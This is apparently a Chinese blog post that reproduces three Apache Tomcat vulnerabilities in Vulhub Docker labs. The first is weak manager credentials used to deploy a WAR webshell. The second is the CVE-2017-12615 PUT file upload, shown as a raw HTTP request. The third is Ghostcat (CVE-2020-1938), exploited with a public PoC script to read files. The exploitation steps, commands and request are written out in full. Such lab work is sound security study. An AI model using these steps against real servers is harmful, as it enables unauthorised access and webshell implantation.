Tomcat系列漏洞復現

Don_Joshua發表於2024-07-22

Tomcat系列漏洞復現

Tomcat7+ 弱口令 && 後臺getshell漏洞

漏洞說明

Tomcat7+許可權分為:

  • manager(後臺管理)
    • manager-gui 擁有html頁面許可權
    • manager-status 擁有檢視status的許可權
    • manager-script 擁有text介面的許可權,和status許可權
    • manager-jmx 擁有jmx許可權,和status許可權
  • host-manager(虛擬主機管理)
    • admin-gui 擁有html頁面許可權
    • admin-script 擁有text介面許可權

Tomcat支援在後臺部署war檔案,可以直接將webshell部署到web目錄下。其中,欲訪問後臺,需要對應使用者有這些相應許可權。

對應的弱口令為tomcat:tomcat

漏洞復現

進入/vulhub/tomcat/tomcat8目錄,直接開啟環境

cd /vulhub/tomcat/tomcat8
docker-compose up -d

進入這個頁面,環境就算成功了

http://your-ip:8080/manager/html

一般在conf/tomcat-users.xml 中可以看到配置使用者的許可權,此時我們在此處就可以直接看到

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

可以看到弱口令tomcat:tomcat 和上面所說的許可權

ps:正常安裝的情況下,tomcat8中預設沒有任何使用者,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。

使用弱口令tomcat:tomcat進行登入,進入到管理頁面

我們使用冰蠍自帶的shell.jsp壓縮為zip,然後更改字尾為war

zip shell.zip shell.jsp
mv shell.zip shell.war

然後我們上傳一下

上傳成功

這裡後面改為了shell1.war 此時訪問your-ip:8080/shell1/shell.jsp 成功

然後使用冰蠍連線

成功

Tomcat PUT方法任意寫檔案漏洞(CVE-2017-12615)

利用版本:

Tomcat版本:8.5.19

漏洞原理:

在Tomcat的配置檔案中設定了可寫(readonly=false),導致可以往伺服器寫檔案

漏洞復現:

首先開啟環境

docker-compose build
docker-compose up -d

開啟成功後,訪問http://your-ip:8080

抓包,然後傳送如下資料包,可以上傳jsp

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

shell處我們使用冰蠍自帶的shell.jsp中的內容

訪問http://your-ip:8080/1.jsp 發現上傳成功

使用冰蠍連線

成功

使用命令,停止環境

docker-compose down

Aapache Tomcat AJP 檔案包含漏洞(CVE-2020-1938)

漏洞資訊:

由於 Tomcat AJP 協議設計上存在缺陷,攻擊者透過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意檔案,例如可以讀取 webapp 配置檔案或原始碼。此外在目標應用有檔案上傳功能的情況下,配合檔案包含的利用還可以達到遠端程式碼執行的危害。

也稱為Ghostcat(幽靈貓)

可以使用網站進行線上檢測:CVE-2020-1938:幽靈貓 Ghostcat 漏洞 (chaitin.cn)

漏洞環境:

受到漏洞影響的版本:

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

漏洞復現:

使用命令開啟漏洞環境:

docker compose up -d

訪問8080埠,可以訪問到Tomcat預設頁面

並發現已經開啟了8009埠

這裡我們可以使用現成的POC來複現這個漏洞

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git

python2使用POC,用來讀取 Tomcat所有 webapp目錄下的任意檔案,這裡讀取配置檔案WEB-INF/web.xml進行演示

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f WEB-INF/web.xml

漏洞驗證:

我們進入容器的命令列,首先檢視容器列表,檢視容器ID

docker ps

進入容器檢視

docker exec -it ebb77b10002d /bin/bash

我們進入到容器的/usr/local/tomcat/webapps/ROOT/WEB-INF目錄中,讀取web.xml 檔案,可以看到和我們POC讀取的檔案是一模一樣的,因此,漏洞復現成功

相關文章